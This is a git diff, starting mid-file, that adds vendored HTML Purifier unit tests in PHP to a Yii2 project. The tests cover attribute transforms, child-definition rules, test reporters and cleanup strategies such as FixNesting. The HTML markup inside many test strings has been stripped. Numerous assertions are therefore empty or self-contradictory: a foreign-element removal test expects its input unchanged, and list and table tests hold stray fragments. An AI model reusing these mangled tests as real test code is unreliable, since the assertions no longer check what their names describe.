$this->assertResult( array() ); + } + + public function testBasicTransform() + { + $this->assertResult( + array('foo' => 'foo'), + array('style' => 'bar:3in;') + ); + } + + public function testIgnoreValueOfBooleanAttribute() + { + $this->assertResult( + array('foo' => 'no'), + array('style' => 'bar:3in;') + ); + } + + public function testPrependCSS() + { + $this->assertResult( + array('foo' => 'foo', 'style' => 'background-color:#F00;'), + array('style' => 'bar:3in;background-color:#F00;') + ); + } + +} + +// vim: et sw=4 sts=4 diff --git a/php/yii2/basic/vendor/ezyang/htmlpurifier/tests/HTMLPurifier/AttrTransform/BorderTest.php b/php/yii2/basic/vendor/ezyang/htmlpurifier/tests/HTMLPurifier/AttrTransform/BorderTest.php new file mode 100644 index 00000000..d59674d5 --- /dev/null +++ b/php/yii2/basic/vendor/ezyang/htmlpurifier/tests/HTMLPurifier/AttrTransform/BorderTest.php @@ -0,0 +1,43 @@ +obj = new HTMLPurifier_AttrTransform_Border(); + } + + public function testEmptyInput() + { + $this->assertResult( array() ); + } + + public function testBasicTransform() + { + $this->assertResult( + array('border' => '1'), + array('style' => 'border:1px solid;') + ); + } + + public function testLenientTreatmentOfInvalidInput() + { + $this->assertResult( + array('border' => '10%'), + array('style' => 'border:10%px solid;') + ); + } + + public function testPrependNewCSS() + { + $this->assertResult( + array('border' => '23', 'style' => 'font-weight:bold;'), + array('style' => 'border:23px solid;font-weight:bold;') + ); + } + +} + +// vim: et sw=4 sts=4 diff --git a/php/yii2/basic/vendor/ezyang/htmlpurifier/tests/HTMLPurifier/AttrTransform/EnumToCSSTest.php b/php/yii2/basic/vendor/ezyang/htmlpurifier/tests/HTMLPurifier/AttrTransform/EnumToCSSTest.php new file mode 100644 index 00000000..e895e129 --- /dev/null +++ b/php/yii2/basic/vendor/ezyang/htmlpurifier/tests/HTMLPurifier/AttrTransform/EnumToCSSTest.php @@ -0,0 +1,82 @@ +obj = new HTMLPurifier_AttrTransform_EnumToCSS('align', array( + 'left' => 'text-align:left;', + 'right' => 'text-align:right;' + )); + } + + public function testEmptyInput() + { + $this->assertResult( array() ); + } + + public function testPreserveArraysWithoutInterestingAttributes() + { + $this->assertResult( array('style' => 'font-weight:bold;') ); + } + + public function testConvertAlignLeft() + { + $this->assertResult( + array('align' => 'left'), + array('style' => 'text-align:left;') + ); + } + + public function testConvertAlignRight() + { + $this->assertResult( + array('align' => 'right'), + array('style' => 'text-align:right;') + ); + } + + public function testRemoveInvalidAlign() + { + $this->assertResult( + array('align' => 'invalid'), + array() + ); + } + + public function testPrependNewCSS() + { + $this->assertResult( + array('align' => 'left', 'style' => 'font-weight:bold;'), + array('style' => 'text-align:left;font-weight:bold;') + ); + + } + + public function testCaseInsensitive() + { + $this->obj = new HTMLPurifier_AttrTransform_EnumToCSS('align', array( + 'right' => 'text-align:right;' + )); + $this->assertResult( + array('align' => 'RIGHT'), + array('style' => 'text-align:right;') + ); + } + + public function testCaseSensitive() + { + $this->obj = new HTMLPurifier_AttrTransform_EnumToCSS('align', array( + 'right' => 'text-align:right;' + ), true); + $this->assertResult( + array('align' => 'RIGHT'), + array() + ); + } + +} + +// vim: et sw=4 sts=4 diff --git a/php/yii2/basic/vendor/ezyang/htmlpurifier/tests/HTMLPurifier/AttrTransform/ImgRequiredTest.php b/php/yii2/basic/vendor/ezyang/htmlpurifier/tests/HTMLPurifier/AttrTransform/ImgRequiredTest.php new file mode 100644 index 00000000..e1d25269 --- /dev/null +++ b/php/yii2/basic/vendor/ezyang/htmlpurifier/tests/HTMLPurifier/AttrTransform/ImgRequiredTest.php @@ -0,0 +1,61 @@ +obj = new HTMLPurifier_AttrTransform_ImgRequired(); + } + + public function testAddMissingAttr() + { + $this->config->set('Core.RemoveInvalidImg', false); + $this->assertResult( + array(), + array('src' => '', 'alt' => 'Invalid image') + ); + } + + public function testAlternateDefaults() + { + $this->config->set('Attr.DefaultInvalidImage', 'blank.png'); + $this->config->set('Attr.DefaultInvalidImageAlt', 'Pawned!'); + $this->config->set('Attr.DefaultImageAlt', 'not pawned'); + $this->config->set('Core.RemoveInvalidImg', false); + $this->assertResult( + array(), + array('src' => 'blank.png', 'alt' => 'Pawned!') + ); + } + + public function testGenerateAlt() + { + $this->assertResult( + array('src' => '/path/to/foobar.png'), + array('src' => '/path/to/foobar.png', 'alt' => 'foobar.png') + ); + } + + public function testAddDefaultSrc() + { + $this->config->set('Core.RemoveInvalidImg', false); + $this->assertResult( + array('alt' => 'intrigue'), + array('alt' => 'intrigue', 'src' => '') + ); + } + + public function testAddDefaultAlt() + { + $this->config->set('Attr.DefaultImageAlt', 'default'); + $this->assertResult( + array('src' => ''), + array('src' => '', 'alt' => 'default') + ); + } + +} + +// vim: et sw=4 sts=4 diff --git a/php/yii2/basic/vendor/ezyang/htmlpurifier/tests/HTMLPurifier/AttrTransform/ImgSpaceTest.php b/php/yii2/basic/vendor/ezyang/htmlpurifier/tests/HTMLPurifier/AttrTransform/ImgSpaceTest.php new file mode 100644 index 00000000..9240f09a --- /dev/null +++ b/php/yii2/basic/vendor/ezyang/htmlpurifier/tests/HTMLPurifier/AttrTransform/ImgSpaceTest.php @@ -0,0 +1,62 @@ +obj = new HTMLPurifier_AttrTransform_ImgSpace('vspace'); + } + + public function testEmptyInput() + { + $this->assertResult( array() ); + } + + public function testVerticalBasicUsage() + { + $this->assertResult( + array('vspace' => '1'), + array('style' => 'margin-top:1px;margin-bottom:1px;') + ); + } + + public function testLenientHandlingOfInvalidInput() + { + $this->assertResult( + array('vspace' => '10%'), + array('style' => 'margin-top:10%px;margin-bottom:10%px;') + ); + } + + public function testPrependNewCSS() + { + $this->assertResult( + array('vspace' => '23', 'style' => 'font-weight:bold;'), + array('style' => 'margin-top:23px;margin-bottom:23px;font-weight:bold;') + ); + } + + public function testHorizontalBasicUsage() + { + $this->obj = new HTMLPurifier_AttrTransform_ImgSpace('hspace'); + $this->assertResult( + array('hspace' => '1'), + array('style' => 'margin-left:1px;margin-right:1px;') + ); + } + + public function testInvalidConstructionParameter() + { + $this->expectError('ispace is not valid space attribute'); + $this->obj = new HTMLPurifier_AttrTransform_ImgSpace('ispace'); + $this->assertResult( + array('ispace' => '1'), + array() + ); + } + +} + +// vim: et sw=4 sts=4 diff --git a/php/yii2/basic/vendor/ezyang/htmlpurifier/tests/HTMLPurifier/AttrTransform/InputTest.php b/php/yii2/basic/vendor/ezyang/htmlpurifier/tests/HTMLPurifier/AttrTransform/InputTest.php new file mode 100644 index 00000000..0a87d0b9 --- /dev/null +++ b/php/yii2/basic/vendor/ezyang/htmlpurifier/tests/HTMLPurifier/AttrTransform/InputTest.php @@ -0,0 +1,105 @@ +obj = new HTMLPurifier_AttrTransform_Input(); + } + + public function testEmptyInput() + { + $this->assertResult(array()); + } + + public function testInvalidCheckedWithEmpty() + { + $this->assertResult(array('checked' => 'checked'), array()); + } + + public function testInvalidCheckedWithPassword() + { + $this->assertResult(array( + 'checked' => 'checked', + 'type' => 'password' + ), array( + 'type' => 'password' + )); + } + + public function testValidCheckedWithUcCheckbox() + { + $this->assertResult(array( + 'checked' => 'checked', + 'type' => 'CHECKBOX', + 'value' => 'bar', + )); + } + + public function testInvalidMaxlength() + { + $this->assertResult(array( + 'maxlength' => '10', + 'type' => 'checkbox', + 'value' => 'foo', + ), array( + 'type' => 'checkbox', + 'value' => 'foo', + )); + } + + public function testValidMaxLength() + { + $this->assertResult(array( + 'maxlength' => '10', + )); + } + + // these two are really bad test-cases + + public function testSizeWithCheckbox() + { + $this->assertResult(array( + 'type' => 'checkbox', + 'value' => 'foo', + 'size' => '100px', + ), array( + 'type' => 'checkbox', + 'value' => 'foo', + 'size' => '100', + )); + } + + public function testSizeWithText() + { + $this->assertResult(array( + 'type' => 'password', + 'size' => '100px', // spurious value, to indicate no validation takes place + ), array( + 'type' => 'password', + 'size' => '100px', + )); + } + + public function testInvalidSrc() + { + $this->assertResult(array( + 'src' => 'img.png', + ), array()); + } + + public function testMissingValue() + { + $this->assertResult(array( + 'type' => 'checkbox', + ), array( + 'type' => 'checkbox', + 'value' => '', + )); + } + +} + +// vim: et sw=4 sts=4 diff --git a/php/yii2/basic/vendor/ezyang/htmlpurifier/tests/HTMLPurifier/AttrTransform/LangTest.php b/php/yii2/basic/vendor/ezyang/htmlpurifier/tests/HTMLPurifier/AttrTransform/LangTest.php new file mode 100644 index 00000000..23f3bfac --- /dev/null +++ b/php/yii2/basic/vendor/ezyang/htmlpurifier/tests/HTMLPurifier/AttrTransform/LangTest.php @@ -0,0 +1,52 @@ +obj = new HTMLPurifier_AttrTransform_Lang(); + } + + public function testEmptyInput() + { + $this->assertResult(array()); + } + + public function testCopyLangToXMLLang() + { + $this->assertResult( + array('lang' => 'en'), + array('lang' => 'en', 'xml:lang' => 'en') + ); + } + + public function testPreserveAttributes() + { + $this->assertResult( + array('src' => 'vert.png', 'lang' => 'fr'), + array('src' => 'vert.png', 'lang' => 'fr', 'xml:lang' => 'fr') + ); + } + + public function testCopyXMLLangToLang() + { + $this->assertResult( + array('xml:lang' => 'en'), + array('xml:lang' => 'en', 'lang' => 'en') + ); + } + + public function testXMLLangOverridesLang() + { + $this->assertResult( + array('lang' => 'fr', 'xml:lang' => 'de'), + array('lang' => 'de', 'xml:lang' => 'de') + ); + } + +} + +// vim: et sw=4 sts=4 diff --git a/php/yii2/basic/vendor/ezyang/htmlpurifier/tests/HTMLPurifier/AttrTransform/LengthTest.php b/php/yii2/basic/vendor/ezyang/htmlpurifier/tests/HTMLPurifier/AttrTransform/LengthTest.php new file mode 100644 index 00000000..36bb72ea --- /dev/null +++ b/php/yii2/basic/vendor/ezyang/htmlpurifier/tests/HTMLPurifier/AttrTransform/LengthTest.php @@ -0,0 +1,51 @@ +obj = new HTMLPurifier_AttrTransform_Length('width'); + } + + public function testEmptyInput() + { + $this->assertResult( array() ); + } + + public function testTransformPixel() + { + $this->assertResult( + array('width' => '10'), + array('style' => 'width:10px;') + ); + } + + public function testTransformPercentage() + { + $this->assertResult( + array('width' => '10%'), + array('style' => 'width:10%;') + ); + } + + public function testPrependNewCSS() + { + $this->assertResult( + array('width' => '10%', 'style' => 'font-weight:bold'), + array('style' => 'width:10%;font-weight:bold') + ); + } + + public function testLenientTreatmentOfInvalidInput() + { + $this->assertResult( + array('width' => 'asdf'), + array('style' => 'width:asdf;') + ); + } + +} + +// vim: et sw=4 sts=4 diff --git a/php/yii2/basic/vendor/ezyang/htmlpurifier/tests/HTMLPurifier/AttrTransform/NameSyncTest.php b/php/yii2/basic/vendor/ezyang/htmlpurifier/tests/HTMLPurifier/AttrTransform/NameSyncTest.php new file mode 100644 index 00000000..989b0ee8 --- /dev/null +++ b/php/yii2/basic/vendor/ezyang/htmlpurifier/tests/HTMLPurifier/AttrTransform/NameSyncTest.php @@ -0,0 +1,45 @@ +obj = new HTMLPurifier_AttrTransform_NameSync(); + $this->accumulator = new HTMLPurifier_IDAccumulator(); + $this->context->register('IDAccumulator', $this->accumulator); + $this->config->set('Attr.EnableID', true); + } + + public function testEmpty() + { + $this->assertResult( array() ); + } + + public function testAllowSame() + { + $this->assertResult( + array('name' => 'free', 'id' => 'free') + ); + } + + public function testAllowDifferent() + { + $this->assertResult( + array('name' => 'tryit', 'id' => 'thisgood') + ); + } + + public function testCheckName() + { + $this->accumulator->add('notok'); + $this->assertResult( + array('name' => 'notok', 'id' => 'ok'), + array('id' => 'ok') + ); + } + +} + +// vim: et sw=4 sts=4 diff --git a/php/yii2/basic/vendor/ezyang/htmlpurifier/tests/HTMLPurifier/AttrTransform/NameTest.php b/php/yii2/basic/vendor/ezyang/htmlpurifier/tests/HTMLPurifier/AttrTransform/NameTest.php new file mode 100644 index 00000000..714f4e50 --- /dev/null +++ b/php/yii2/basic/vendor/ezyang/htmlpurifier/tests/HTMLPurifier/AttrTransform/NameTest.php @@ -0,0 +1,35 @@ +obj = new HTMLPurifier_AttrTransform_Name(); + } + + public function testEmpty() + { + $this->assertResult( array() ); + } + + public function testTransformNameToID() + { + $this->assertResult( + array('name' => 'free'), + array('id' => 'free') + ); + } + + public function testExistingIDOverridesName() + { + $this->assertResult( + array('name' => 'tryit', 'id' => 'tobad'), + array('id' => 'tobad') + ); + } + +} + +// vim: et sw=4 sts=4 diff --git a/php/yii2/basic/vendor/ezyang/htmlpurifier/tests/HTMLPurifier/AttrTransformHarness.php b/php/yii2/basic/vendor/ezyang/htmlpurifier/tests/HTMLPurifier/AttrTransformHarness.php new file mode 100644 index 00000000..178d49c2 --- /dev/null +++ b/php/yii2/basic/vendor/ezyang/htmlpurifier/tests/HTMLPurifier/AttrTransformHarness.php @@ -0,0 +1,14 @@ +func = 'transform'; + } + +} + +// vim: et sw=4 sts=4 diff --git a/php/yii2/basic/vendor/ezyang/htmlpurifier/tests/HTMLPurifier/AttrTransformTest.php b/php/yii2/basic/vendor/ezyang/htmlpurifier/tests/HTMLPurifier/AttrTransformTest.php new file mode 100644 index 00000000..e2aeac76 --- /dev/null +++ b/php/yii2/basic/vendor/ezyang/htmlpurifier/tests/HTMLPurifier/AttrTransformTest.php @@ -0,0 +1,45 @@ +prependCSS($attr, 'style:new;'); + $this->assertIdentical(array('style' => 'style:new;'), $attr); + + $attr = array('style' => 'style:original;'); + $t->prependCSS($attr, 'style:new;'); + $this->assertIdentical(array('style' => 'style:new;style:original;'), $attr); + + $attr = array('style' => 'style:original;', 'misc' => 'un-related'); + $t->prependCSS($attr, 'style:new;'); + $this->assertIdentical(array('style' => 'style:new;style:original;', 'misc' => 'un-related'), $attr); + + } + + public function test_confiscateAttr() + { + $t = new HTMLPurifier_AttrTransformTestable(); + + $attr = array('flavor' => 'sweet'); + $this->assertIdentical('sweet', $t->confiscateAttr($attr, 'flavor')); + $this->assertIdentical(array(), $attr); + + $attr = array('flavor' => 'sweet'); + $this->assertIdentical(null, $t->confiscateAttr($attr, 'color')); + $this->assertIdentical(array('flavor' => 'sweet'), $attr); + + } + +} + +// vim: et sw=4 sts=4 diff --git a/php/yii2/basic/vendor/ezyang/htmlpurifier/tests/HTMLPurifier/AttrTypesTest.php b/php/yii2/basic/vendor/ezyang/htmlpurifier/tests/HTMLPurifier/AttrTypesTest.php new file mode 100644 index 00000000..4881ac7b --- /dev/null +++ b/php/yii2/basic/vendor/ezyang/htmlpurifier/tests/HTMLPurifier/AttrTypesTest.php @@ -0,0 +1,27 @@ +assertIdentical( + $types->get('CDATA'), + new HTMLPurifier_AttrDef_Text() + ); + + $this->expectError('Cannot retrieve undefined attribute type foobar'); + $types->get('foobar'); + + $this->assertIdentical( + $types->get('Enum#foo,bar'), + new HTMLPurifier_AttrDef_Enum(array('foo', 'bar')) + ); + + } + +} + +// vim: et sw=4 sts=4 diff --git a/php/yii2/basic/vendor/ezyang/htmlpurifier/tests/HTMLPurifier/AttrValidator_ErrorsTest.php b/php/yii2/basic/vendor/ezyang/htmlpurifier/tests/HTMLPurifier/AttrValidator_ErrorsTest.php new file mode 100644 index 00000000..b3c21b6e --- /dev/null +++ b/php/yii2/basic/vendor/ezyang/htmlpurifier/tests/HTMLPurifier/AttrValidator_ErrorsTest.php @@ -0,0 +1,71 @@ +language = HTMLPurifier_LanguageFactory::instance()->create($config, $this->context); + $this->context->register('Locale', $this->language); + $this->collector = new HTMLPurifier_ErrorCollector($this->context); + $this->context->register('Generator', new HTMLPurifier_Generator($config, $this->context)); + } + + protected function invoke($input) + { + $validator = new HTMLPurifier_AttrValidator(); + $validator->validateToken($input, $this->config, $this->context); + } + + public function testAttributesTransformedGlobalPre() + { + $def = $this->config->getHTMLDefinition(true); + generate_mock_once('HTMLPurifier_AttrTransform'); + $transform = new HTMLPurifier_AttrTransformMock(); + $input = array('original' => 'value'); + $output = array('class' => 'value'); // must be valid + $transform->setReturnValue('transform', $output, array($input, new AnythingExpectation(), new AnythingExpectation())); + $def->info_attr_transform_pre[] = $transform; + + $token = new HTMLPurifier_Token_Start('span', $input, 1); + $this->invoke($token); + + $result = $this->collector->getRaw(); + $expect = array( + array(1, E_NOTICE, 'Attributes on transformed from original to class', array()), + ); + $this->assertIdentical($result, $expect); + } + + public function testAttributesTransformedLocalPre() + { + $this->config->set('HTML.TidyLevel', 'heavy'); + $input = array('align' => 'right'); + $output = array('style' => 'text-align:right;'); + $token = new HTMLPurifier_Token_Start('p', $input, 1); + $this->invoke($token); + $result = $this->collector->getRaw(); + $expect = array( + array(1, E_NOTICE, 'Attributes on

        transformed from align to style', array()), + ); + $this->assertIdentical($result, $expect); + } + + // too lazy to check for global post and global pre + + public function testAttributeRemoved() + { + $token = new HTMLPurifier_Token_Start('p', array('foobar' => 'right'), 1); + $this->invoke($token); + $result = $this->collector->getRaw(); + $expect = array( + array(1, E_ERROR, 'foobar attribute on

        removed', array()), + ); + $this->assertIdentical($result, $expect); + } + +} + +// vim: et sw=4 sts=4 diff --git a/php/yii2/basic/vendor/ezyang/htmlpurifier/tests/HTMLPurifier/ChildDef/ChameleonTest.php b/php/yii2/basic/vendor/ezyang/htmlpurifier/tests/HTMLPurifier/ChildDef/ChameleonTest.php new file mode 100644 index 00000000..1a751395 --- /dev/null +++ b/php/yii2/basic/vendor/ezyang/htmlpurifier/tests/HTMLPurifier/ChildDef/ChameleonTest.php @@ -0,0 +1,44 @@ +obj = new HTMLPurifier_ChildDef_Chameleon( + 'b | i', // allowed only when in inline context + 'b | i | div' // allowed only when in block context + ); + $this->context->register('IsInline', $this->isInline); + } + + public function testInlineAlwaysAllowed() + { + $this->isInline = true; + $this->assertResult( + 'Allowed.' + ); + } + + public function testBlockNotAllowedInInline() + { + $this->isInline = true; + $this->assertResult( + '

        Not allowed.
        ', '' + ); + } + + public function testBlockAllowedInNonInline() + { + $this->isInline = false; + $this->assertResult( + '
        Allowed.
        ' + ); + } + +} + +// vim: et sw=4 sts=4 diff --git a/php/yii2/basic/vendor/ezyang/htmlpurifier/tests/HTMLPurifier/ChildDef/CustomTest.php b/php/yii2/basic/vendor/ezyang/htmlpurifier/tests/HTMLPurifier/ChildDef/CustomTest.php new file mode 100644 index 00000000..0094323d --- /dev/null +++ b/php/yii2/basic/vendor/ezyang/htmlpurifier/tests/HTMLPurifier/ChildDef/CustomTest.php @@ -0,0 +1,99 @@ +obj = new HTMLPurifier_ChildDef_Custom('(a,b?,c*,d+,(a,b)*)'); + + $this->assertEqual($this->obj->elements, array('a' => true, + 'b' => true, 'c' => true, 'd' => true)); + + $this->assertResult('', false); + $this->assertResult('', false); + + $this->assertResult(''); + $this->assertResult('Dobfoo'. + 'foo'); + + } + + public function testNesting() + { + $this->obj = new HTMLPurifier_ChildDef_Custom('(a,b,(c|d))+'); + $this->assertEqual($this->obj->elements, array('a' => true, + 'b' => true, 'c' => true, 'd' => true)); + $this->assertResult('', false); + $this->assertResult(''); + $this->assertResult('', false); + } + + public function testNestedEitherOr() + { + $this->obj = new HTMLPurifier_ChildDef_Custom('b,(a|(c|d))+'); + $this->assertEqual($this->obj->elements, array('a' => true, + 'b' => true, 'c' => true, 'd' => true)); + $this->assertResult('', false); + $this->assertResult(''); + $this->assertResult(''); + $this->assertResult(''); + $this->assertResult('', false); + } + + public function testNestedQuantifier() + { + $this->obj = new HTMLPurifier_ChildDef_Custom('(b,c+)*'); + $this->assertEqual($this->obj->elements, array('b' => true, 'c' => true)); + $this->assertResult(''); + $this->assertResult(''); + $this->assertResult(''); + $this->assertResult(''); + $this->assertResult('', false); + } + + public function testEitherOr() + { + $this->obj = new HTMLPurifier_ChildDef_Custom('a|b'); + $this->assertEqual($this->obj->elements, array('a' => true, 'b' => true)); + $this->assertResult('', false); + $this->assertResult(''); + $this->assertResult(''); + $this->assertResult('', false); + + } + + public function testCommafication() + { + $this->obj = new HTMLPurifier_ChildDef_Custom('a,b'); + $this->assertEqual($this->obj->elements, array('a' => true, 'b' => true)); + $this->assertResult(''); + $this->assertResult('', false); + + } + + public function testPcdata() + { + $this->obj = new HTMLPurifier_ChildDef_Custom('#PCDATA,a'); + $this->assertEqual($this->obj->elements, array('#PCDATA' => true, 'a' => true)); + $this->assertResult('foo'); + $this->assertResult('', false); + } + + public function testWhitespace() + { + $this->obj = new HTMLPurifier_ChildDef_Custom('a'); + $this->assertEqual($this->obj->elements, array('a' => true)); + $this->assertResult('foo', false); + $this->assertResult(''); + $this->assertResult(' '); + } + +} + +// vim: et sw=4 sts=4 diff --git a/php/yii2/basic/vendor/ezyang/htmlpurifier/tests/HTMLPurifier/ChildDef/ListTest.php b/php/yii2/basic/vendor/ezyang/htmlpurifier/tests/HTMLPurifier/ChildDef/ListTest.php new file mode 100644 index 00000000..0e3d5c72 --- /dev/null +++ b/php/yii2/basic/vendor/ezyang/htmlpurifier/tests/HTMLPurifier/ChildDef/ListTest.php @@ -0,0 +1,54 @@ +obj = new HTMLPurifier_ChildDef_List(); + } + + public function testEmptyInput() + { + $this->assertResult('', false); + } + + public function testSingleLi() + { + $this->assertResult('
      31. '); + } + + public function testSomeLi() + { + $this->assertResult('
      32. asdf
      33. '); + } + + public function testOlAtBeginning() + { + $this->assertResult('
          ', '
          1. '); + } + + public function testOlAtBeginningWithOtherJunk() + { + $this->assertResult('
            1. ', '
              1. '); + } + + public function testOlInMiddle() + { + $this->assertResult('
              2. Foo
                1. Bar
                ', '
              3. Foo
                1. Bar
              4. '); + } + + public function testMultipleOl() + { + $this->assertResult('
                  1. ', '
                      1. '); + } + + public function testUlAtBeginning() + { + $this->assertResult('
      34. "; + } + parent::paintFooter($test_name); + } + + protected function getCss() + { + $css = parent::getCss(); + $css .= ' + #select {position:absolute;top:0.2em;right:0.2em;} + '; + return $css; + } + + public function getTestList() + { + // hacky; depends on a specific implementation of paintPass, etc. + $list = parent::getTestList(); + $testcase = $list[1]; + if (class_exists($testcase, false)) $file = str_replace('_', '/', $testcase) . '.php'; + else $file = $testcase; + $list[1] = '' . $testcase . ''; + return $list; + } + +} + +// vim: et sw=4 sts=4 diff --git a/php/yii2/basic/vendor/ezyang/htmlpurifier/tests/HTMLPurifier/SimpleTest/TextReporter.php b/php/yii2/basic/vendor/ezyang/htmlpurifier/tests/HTMLPurifier/SimpleTest/TextReporter.php new file mode 100644 index 00000000..583ed407 --- /dev/null +++ b/php/yii2/basic/vendor/ezyang/htmlpurifier/tests/HTMLPurifier/SimpleTest/TextReporter.php @@ -0,0 +1,24 @@ +verbose = $AC['verbose']; + } + public function paintPass($message) + { + parent::paintPass($message); + if ($this->verbose) { + print 'Pass ' . $this->getPassCount() . ") $message\n"; + $breadcrumb = $this->getTestList(); + array_shift($breadcrumb); + print "\tin " . implode("\n\tin ", array_reverse($breadcrumb)); + print "\n"; + } + } +} + +// vim: et sw=4 sts=4 diff --git a/php/yii2/basic/vendor/ezyang/htmlpurifier/tests/HTMLPurifier/Strategy/CompositeTest.php b/php/yii2/basic/vendor/ezyang/htmlpurifier/tests/HTMLPurifier/Strategy/CompositeTest.php new file mode 100644 index 00000000..db460cd6 --- /dev/null +++ b/php/yii2/basic/vendor/ezyang/htmlpurifier/tests/HTMLPurifier/Strategy/CompositeTest.php @@ -0,0 +1,67 @@ +strategies =& $strategies; + } + +} + +// doesn't use Strategy harness +class HTMLPurifier_Strategy_CompositeTest extends HTMLPurifier_Harness +{ + + public function test() + { + generate_mock_once('HTMLPurifier_Strategy'); + generate_mock_once('HTMLPurifier_Config'); + generate_mock_once('HTMLPurifier_Context'); + + // setup a bunch of mock strategies to inject into our composite test + + $mock_1 = new HTMLPurifier_StrategyMock(); + $mock_2 = new HTMLPurifier_StrategyMock(); + $mock_3 = new HTMLPurifier_StrategyMock(); + + // setup the object + + $strategies = array(&$mock_1, &$mock_2, &$mock_3); + $composite = new HTMLPurifier_Strategy_Composite_Test($strategies); + + // setup expectations + + $input_1 = 'This is raw data'; + $input_2 = 'Processed by 1'; + $input_3 = 'Processed by 1 and 2'; + $input_4 = 'Processed by 1, 2 and 3'; // expected output + + $config = new HTMLPurifier_ConfigMock(); + $context = new HTMLPurifier_ContextMock(); + + $params_1 = array($input_1, $config, $context); + $params_2 = array($input_2, $config, $context); + $params_3 = array($input_3, $config, $context); + + $mock_1->expectOnce('execute', $params_1); + $mock_1->setReturnValue('execute', $input_2, $params_1); + + $mock_2->expectOnce('execute', $params_2); + $mock_2->setReturnValue('execute', $input_3, $params_2); + + $mock_3->expectOnce('execute', $params_3); + $mock_3->setReturnValue('execute', $input_4, $params_3); + + // perform test + + $output = $composite->execute($input_1, $config, $context); + $this->assertIdentical($input_4, $output); + + } + +} + +// vim: et sw=4 sts=4 diff --git a/php/yii2/basic/vendor/ezyang/htmlpurifier/tests/HTMLPurifier/Strategy/CoreTest.php b/php/yii2/basic/vendor/ezyang/htmlpurifier/tests/HTMLPurifier/Strategy/CoreTest.php new file mode 100644 index 00000000..89a13f49 --- /dev/null +++ b/php/yii2/basic/vendor/ezyang/htmlpurifier/tests/HTMLPurifier/Strategy/CoreTest.php @@ -0,0 +1,51 @@ +obj = new HTMLPurifier_Strategy_Core(); + } + + public function testBlankInput() + { + $this->assertResult(''); + } + + public function testMakeWellFormed() + { + $this->assertResult( + 'Make well formed.', + 'Make well formed.' + ); + } + + public function testFixNesting() + { + $this->assertResult( + '
        Fix nesting.
        ', + '
        Fix nesting.
        ' + ); + } + + public function testRemoveForeignElements() + { + $this->assertResult( + 'Foreign element removal.', + 'Foreign element removal.' + ); + } + + public function testFirstThree() + { + $this->assertResult( + '
        All three.
        ', + '
        All three.
        ' + ); + } + +} + +// vim: et sw=4 sts=4 diff --git a/php/yii2/basic/vendor/ezyang/htmlpurifier/tests/HTMLPurifier/Strategy/ErrorsHarness.php b/php/yii2/basic/vendor/ezyang/htmlpurifier/tests/HTMLPurifier/Strategy/ErrorsHarness.php new file mode 100644 index 00000000..3efc836f --- /dev/null +++ b/php/yii2/basic/vendor/ezyang/htmlpurifier/tests/HTMLPurifier/Strategy/ErrorsHarness.php @@ -0,0 +1,19 @@ +getStrategy(); + $lexer = new HTMLPurifier_Lexer_DirectLex(); + $tokens = $lexer->tokenizeHTML($input, $this->config, $this->context); + $strategy->execute($tokens, $this->config, $this->context); + } + +} + +// vim: et sw=4 sts=4 diff --git a/php/yii2/basic/vendor/ezyang/htmlpurifier/tests/HTMLPurifier/Strategy/FixNestingTest.php b/php/yii2/basic/vendor/ezyang/htmlpurifier/tests/HTMLPurifier/Strategy/FixNestingTest.php new file mode 100644 index 00000000..ace642d0 --- /dev/null +++ b/php/yii2/basic/vendor/ezyang/htmlpurifier/tests/HTMLPurifier/Strategy/FixNestingTest.php @@ -0,0 +1,156 @@ +obj = new HTMLPurifier_Strategy_FixNesting(); + } + + public function testPreserveInlineInRoot() + { + $this->assertResult('Bold text'); + } + + public function testPreserveInlineAndBlockInRoot() + { + $this->assertResult('Blank
        Block
        '); + } + + public function testRemoveBlockInInline() + { + $this->assertResult( + '
        Illegal div.
        ', + 'Illegal div.' + ); + } + + public function testRemoveNodeWithMissingRequiredElements() + { + $this->assertResult('
          ', ''); + } + + public function testListHandleIllegalPCDATA() + { + $this->assertResult( + '
            Illegal text
          • Legal item
          ', + '
          • Illegal text
          • Legal item
          ' + ); + } + + public function testRemoveIllegalPCDATA() + { + $this->assertResult( + 'Illegal text
          ', + '
          ' + ); + } + + public function testCustomTableDefinition() + { + $this->assertResult('
          Cell 1
          '); + } + + public function testRemoveEmptyTable() + { + $this->assertResult('
          ', ''); + } + + public function testChameleonRemoveBlockInNodeInInline() + { + $this->assertResult( + '
          Not allowed!
          ', + 'Not allowed!' + ); + } + + public function testChameleonRemoveBlockInBlockNodeWithInlineContent() + { + $this->assertResult( + '

          Not allowed!

          ', + '

          Not allowed!

          ' + ); + } + + public function testNestedChameleonRemoveBlockInNodeWithInlineContent() + { + $this->assertResult( + '

          Not allowed!

          ', + '

          Not allowed!

          ' + ); + } + + public function testNestedChameleonPreserveBlockInBlock() + { + $this->assertResult( + '
          Allowed!
          ' + ); + } + + public function testExclusionsIntegration() + { + // test exclusions + $this->assertResult( + 'Not allowed', + '' + ); + } + + public function testPreserveInlineNodeInInlineRootNode() + { + $this->config->set('HTML.Parent', 'span'); + $this->assertResult('Bold'); + } + + public function testRemoveBlockNodeInInlineRootNode() + { + $this->config->set('HTML.Parent', 'span'); + $this->assertResult('
          Reject
          ', 'Reject'); + } + + public function testInvalidParentError() + { + // test fallback to div + $this->config->set('HTML.Parent', 'obviously-impossible'); + $this->config->set('Cache.DefinitionImpl', null); + $this->expectError('Cannot use unrecognized element as parent'); + $this->assertResult('
          Accept
          '); + } + + public function testCascadingRemovalOfNodesMissingRequiredChildren() + { + $this->assertResult('
          ', ''); + } + + public function testCascadingRemovalSpecialCaseCannotScrollOneBack() + { + $this->assertResult('
          ', ''); + } + + public function testLotsOfCascadingRemovalOfNodes() + { + $this->assertResult('
          ', ''); + } + + public function testAdjacentRemovalOfNodeMissingRequiredChildren() + { + $this->assertResult('
          ', ''); + } + + public function testStrictBlockquoteInHTML401() + { + $this->config->set('HTML.Doctype', 'HTML 4.01 Strict'); + $this->assertResult('
          text
          ', '

          text

          '); + } + + public function testDisabledExcludes() + { + $this->config->set('Core.DisableExcludes', true); + $this->assertResult('
